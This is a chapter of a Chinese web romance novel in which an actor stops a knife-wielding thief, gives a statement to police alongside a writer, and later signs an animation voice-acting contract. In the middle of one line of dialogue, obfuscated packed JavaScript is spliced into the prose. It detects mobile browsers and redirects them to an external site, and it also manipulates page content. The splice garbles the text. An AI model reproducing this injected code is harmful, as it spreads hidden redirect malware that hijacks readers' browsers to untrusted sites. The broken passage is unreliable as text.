“呃!”小偷痛呼一声,手指下意识地松开了。 布包掉落,车垠优右脚一勾,布包飞起来,被他左手稳稳接住,整个过程行云流水。 但小偷显然不是第一次作案,反应也快,他见东西被夺,非但没有逃跑,反而凶性大发,左手从口袋里掏出一把折叠小刀,“咔”一声弹开刀刃,转身就朝着车垠优刺过来! “小心!”后面追过来的柳夏妍刚好看到这一幕,吓得心脏都停跳了半拍。 车垠优眼神一凛,他没有后退,反而迎着刀光上前半步,右手闪电般探出,精准地扣住了对方持刀的手腕,他手指用力一拧,小偷吃痛,手腕被强行扭转了一个角度,同时车垠优的左脚向前一绊,踢在小偷的脚踝上。 小偷失去平衡,整个人向前扑倒,车垠优顺势将他持刀的手臂反拧到背后,膝盖顶住他的后腰,将他整个人牢牢按在了地上,那把折叠小刀脱手飞出,“当啷”一声落在几步外的石头上。 整个过程快得让人眼花缭乱,从抓住帽子到夺包、制伏、卸刀、压制,一气呵成,不超过十秒钟。 柳夏妍跑过来时,像是看到了一段完整的影视剧打戏,简直太帅了! 车垠优的呼吸因为刚才的奔跑和打斗而有些急促,胸膛起伏,额前的头发被汗水打湿了几缕,黏在额角,但他的表情很平静,甚至有点冷,眼神盯着地上的小偷,像盯着什么碍眼的东西。 路灯的光从侧面打过来,勾勒出他清晰的下颌线,还有因为用力而绷紧的手臂肌肉线条。 柳夏妍愣在原地,脑海里实在找不到更合适的形容,不是表演出来的帅气,是实实在在的、充满力量和掌控力的帅气。 车垠优抬起头,看向她:“没事吧?包拿好。” 柳夏妍这才回过神,赶紧接过布包,抱在怀里,布包沾了点灰,但里面的东西应该没事。 地上那小偷还在挣扎:“放开我!” 车垠优没理他,反而手上加了些力道,小偷痛得龇牙咧嘴,不敢再喊,车垠优腾出一只手,把小偷背上那个鼓鼓囊囊的挎包扯了过来,扔给柳夏妍:“柳作家,麻烦打开看看。” 柳夏妍拉开拉链,倒吸一口凉气,里面乱七八糟塞了好几个手机,有最新款的智能手机,也有老式的翻盖机,还有五六个钱包,各种颜色款式,一看就不是一个人的,钱包里的现金都被掏空了,只剩下证件和卡片。 “这家伙偷了不少人啊。”柳夏妍皱起眉。 车垠优这时候才松开一些力道,但依然控制着小偷,他把小偷从地上提起来,一只手抓住对方的后领,几乎是把人拎了起来,小偷个子不高,被这么一提,脚都离地了,只能踮着脚尖勉强站着。 车垠优的声音很冷:“走,去警察署。” 他们押着小偷回到主路,这时候已经有几个晚归的登山者注意到这边的动静,围了过来,得知是抓到了小偷,还有人认出自己的手机就在那个挎包里,气愤地要上前理论,车垠优说:“先报警,一起去警察署处理。” 有人打了112,十五分钟后,一辆警车闪着灯开了上来,两名警察下车,了解了情况,先把小偷铐上,塞进警车后座,然后看向车垠优和柳夏妍:“麻烦两位也跟我们去一趟警署,做一下笔录,还有那几位失主,也请一起。” 车垠优点点头,很自然地走到柳夏妍身边:“走吧。” 柳夏妍抱着布包,跟在他身后,坐进了警车的后座,不是和小偷一起,是另一辆随后赶来的警车,那位找回手机的大叔和两位找回钱包的阿姨也跟着上了车。 去警署的路上,车里很安静,柳夏妍偷偷看了一眼身旁的车垠优。 他已经重新戴上了棒球帽,帽檐压得有点低,看不清表情。 警署离得不远,十分钟车程,晚上值班的警察不多,但事情很清楚,小偷人赃并获,还有好几个苦主,做笔录的过程很顺利。 负责给他们做笔录的是一位三十多岁,看起来挺干练的男警察,还有一位二十出头,扎着马尾的女警员,男警察公事公办,问得很详细,时间、地点、事情经过、有没有受伤、被偷物品的价值。 问到姓名和联系方式的时候,车垠优不得已摘下了帽子。 男警察愣了一下,盯着他看了几秒,然后猛地睁大眼睛:“你,你是不是那个车垠优?” 车垠优点点头:“是我。” 旁边那位女警员直接站了起来,眼睛瞪得圆圆的,手里的笔都差点掉了:“我的天!真的是车垠优,我看眉眼很像,但没敢认,我妹妹超喜欢你的,她房间里全是你的海报!” 男警察咳嗽了一声,示意女警员注意场合,女警员脸一红,赶紧坐下,但眼睛还是忍不住往车垠优脸上瞟。 这时候,另一位警察拿着那个小偷的挎包过来,把里面的东西倒在桌上清点,那位找回钱包的阿姨指着其中一本深棕色的皮夹:“这个是我的,里面还有我孙子的照片!” 柳夏妍走过去,那位女警员这时才注意到她,仔细看了看,又愣住了。 “那个,柳夏妍作家?”女警员的声音有点迟疑。 柳夏妍没想到在这里也能被认出来,有些意外,但还是点了点头。 女警员眼睛在车垠优和柳夏妍之间来回转,眼神里闪着八卦的光芒。 笔录继续,问完基本信息,男警察看着他们俩,很自然地问道:“两位是什么关系,怎么一起在山上?” 柳夏妍立刻回答:“是这样,我最近有一部作品要改编成动画电影,车垠优先生正在考虑为男主角配音,工作需要,所以来这里聊一下后续的合作……” 她说得很快,很流畅,听起来非常合理。 “哦这样啊。”男警察点点头,在本子上记着什么。 那位女警员眼睛更亮了:“动画电影,车垠优先生要配音?柳夏妍作家的作品?我的天,这是什么神仙合作,电影什么时候上映,我一定第一个买票。” 柳夏妍笑了笑:“还在前期制作阶段,上映还早。” 女警员兴奋地说:“我最喜欢的作家和我最喜欢的演员合作了,这简直像做梦一样。” 做完笔录,确认了失物,警察让他们留下了联系方式,说有需要会再联系,小偷被关进了拘留室,等待后续处理。 走出警署时,已经是晚上十点多了,那位找回手机的大叔和阿姨们连连道谢,说要不是他们,东西肯定找不回来了。 回到车上,柳夏妍系好安全带,长长舒了口气:“没想到出来爬个山,还能遇到这种事。” 车垠优发动车子,驶出停车场:“你没事就好。” 柳夏妍抱紧了怀里的布包:“就是剧本草稿有点皱了,问题不大,倒是你刚才那个小偷有刀,太危险了。” 车垠优说得很平静:“我有把握,那种折叠小刀,刃短,他拿刀的姿势也不对,一看就是外行,偷技凑合,但打斗不行。” 车子驶入主干道,夜晚的车流已经少了很多,车内的空气安静下来。 柳夏妍靠在椅背上,闭上眼睛,假装睡觉,但她偷偷将眼睛睁开一条缝,看向驾驶座上的车垠优。 他专注地看着前方的路,侧脸在光影里时明时暗,棒球帽已经摘下来放在一边,额前的头发有些凌乱,反而多了几分随性的帅气,他的鼻梁很高,下颌线的弧度干净利落。 他握着方向盘的手,手指很长,手背上能看到淡青色的血管纹路,手腕上戴着一块黑色的运动手表,表盘不大,衬得手腕更加有力,小臂的线条随着他转动方向盘的动作微微起伏,那是长期锻炼才能保持的紧实感。 柳夏妍觉得自己的脸颊有点发烫,她赶紧重新闭上眼睛,但心跳却不由自主地加快了。 车子平稳地行驶着,半个小时后,驶入公寓的地下停车场。 车垠优停好车,熄了火,他转过头,看着旁边“睡着”的柳夏妍,她的头歪向车窗那边。 他看了她几秒,然后轻轻推了推她的肩膀:“柳作家,到了。” 两人一起下了车,走进电梯,电梯上升,在32楼停下。 车垠优站在门口,说:“晚安,回去好好休息,” 柳夏妍点头,转身走向自己的公寓门,她打开门,走进去,背靠在门上,抬起左手。 手腕上,红色的水柱在10%。 她盯着那10%看了很久,然后放下手,轻轻吐了口气。 几天后,车垠优的工作室里。 经纪人金惠媛坐在他对面,手里拿着厚厚一沓合同文件,用笔在一份文件上做着最后的标记,她今天穿着利落的西装套裙。 金惠媛放下笔,看向车垠优:“车老师,今天下午三点,去‘幻影动画’的公司总部签,朴导,金秀敏代表,还有崔振宇导演都会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154270|196507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在,签完大概会有个小型的记者见面会,不过规模很小,就几家关系好的媒体,你准备一下。” 她最近心情不错,上次见到柳夏妍作家以后,不光拿到了她的亲笔签名,很快自家艺人也有了和她合作的机会,最重要的是,车垠优终于明白了为什么她喜欢柳作家了,因为她的作品真的很治愈啊! 车垠优笑道:“知道了。” 下午三点,车垠优和金惠媛准时抵达位于江南区一栋写字楼内的“幻影动画”公司,公司内部装修得很有创意,墙上贴满了各种动画角色的概念图,走廊里放着雕塑模型,员工区,能看到很多人在电脑前绘制画面。 朴导和金秀敏代表已经在会议室等着了,崔振宇导演也在,还有几位制作团队的核心成员,大家寒暄了几句,很快进入正题。 合同一式四份,车垠优仔细翻看了一遍,其实金惠媛早就把关过了,但他习惯自己再看一次,确认无误后,他拿起笔,在最后一页签下了自己的名字。 “欢迎加入《黑猫》动画团队。”金秀敏代表笑着伸出手。 车垠优和他握手:“很荣幸。” 朴导拍拍他的肩膀:“这下放心了,有你加入,我们对这部动画电影更有信心了。” 签约仪式很简单,没有多余的形式,签完字,大家移步到旁边一个小型的会客室,那里已经架好了几台摄像机和打光灯,几家受邀媒体的记者已经等候多时。 采访过程很顺利,记者们问的都是预料之中的问题,车垠优回答得滴水不漏。 采访结束后,记者们陆续离开,朴导和车垠优并肩往外走,随口聊着接下来的安排。 朴导忽然想起什么:“对了,我们电影的男二号,那只黑猫的配音,定了权正民,你知道他吗?专业配音演员,声音可塑性极强。” 车垠优点头:“听说过,看过他配音的几部作品,很厉害。” 朴导笑着说,语气里带着点八卦:“他可是柳夏妍作家的狂热粉丝,签约的时候听说原著作者是柳夏妍,眼睛都亮了,说他家里收藏了她所有的绘本,连绝版的都有,还问能不能安排他和柳作家见一面,想要个签名合个影什么的,那样子,完全就是个迷弟。” 车垠优的脚步微微顿了一下,但很快恢复正常:“是吗?那挺巧的。” 朴导继续说:“可不是嘛,不过柳作家那边,我没敢直接答应,她性格看着温和,其实挺有主见的,应该不太喜欢这种工作之外的应酬,等之后剧本讨论会,他们自然会见面,到时候让权正民自己提吧。” “嗯。”车垠优应了一声。 离开公司大楼,金惠媛要去处理别的事情,先走了,车垠优看看时间还早,不想立刻回家,他想起附近有一家会员制的室内网球馆,他很久没去了。 开车过去大概二十分钟,那家网球馆设施很好,场地宽敞,私密性也高,车垠优换了运动服,一个人对着发球机打了将近一个小时,黄色的网球以不同的角度和速度从机器里弹出,他来回跑动,挥拍,击球,汗水很快浸湿了他的上衣,额头的汗珠顺着脸颊滑下来,滴落在塑胶场地上。 这种纯粹的身体运动让他感觉很畅快,什么都不用想,只需要盯着球,判断落点,移动,挥拍,大脑放空,只有肌肉的记忆和本能的反应。 打到精疲力尽,他才停下来,用毛巾擦着汗,去淋浴间冲了个澡,换上干净的衣服出来时,感觉整个人都轻松了很多。 开车回到公寓,已经是晚上七点多了,天色完全暗了下来,公寓楼外的路灯已经亮起。 车垠优把车开进地下停车场,停好车,走向电梯间,经过公寓大堂外侧的玻璃门时,他眼角余光瞥见门外人行道上,有个男人在那里走来走去,似乎在等人。 那男人看起来三十岁左右,穿着浅灰色的衬衫和深色长裤,手里拿着一个文件袋一样的东西,他时不时抬头看看公寓楼,又低头看看手机,然后继续踱步。 车垠优没太在意,这栋公寓安保很好,没有门禁卡或住户确认,外人进不来,可能是哪户的访客,朋友还没下来接吧。 他刷了卡,走进大堂,等电梯,电梯下来,门打开,他走进去,按了32楼。 回到家,车垠优把钥匙扔在玄关的柜子上,脱下外套,倒在沙发上,运动后的疲惫感涌上来,但他感觉精神很好。 他拿起手机,解锁屏幕,习惯性地点开社交软件,刷新了一下动态。 第一条跳出来的,是柳夏妍二十分钟前发的一条。 没有文字,只有一张图片,图片拍的是她工作台的角落,一盏暖黄色的台灯,灯光照亮了摊开的素描本,本子上画着一只圆滚滚的,抱着松果的松鼠,笔触很可爱,松鼠旁边还画了一个箭头,指向空白处,写着“送给今天遇到的小家伙们”几个手写字。 图片的角落,还能看到她握着铅笔的手,手指纤细。 车垠优看着那张图片,嘴角居然有些不自觉地向上弯起。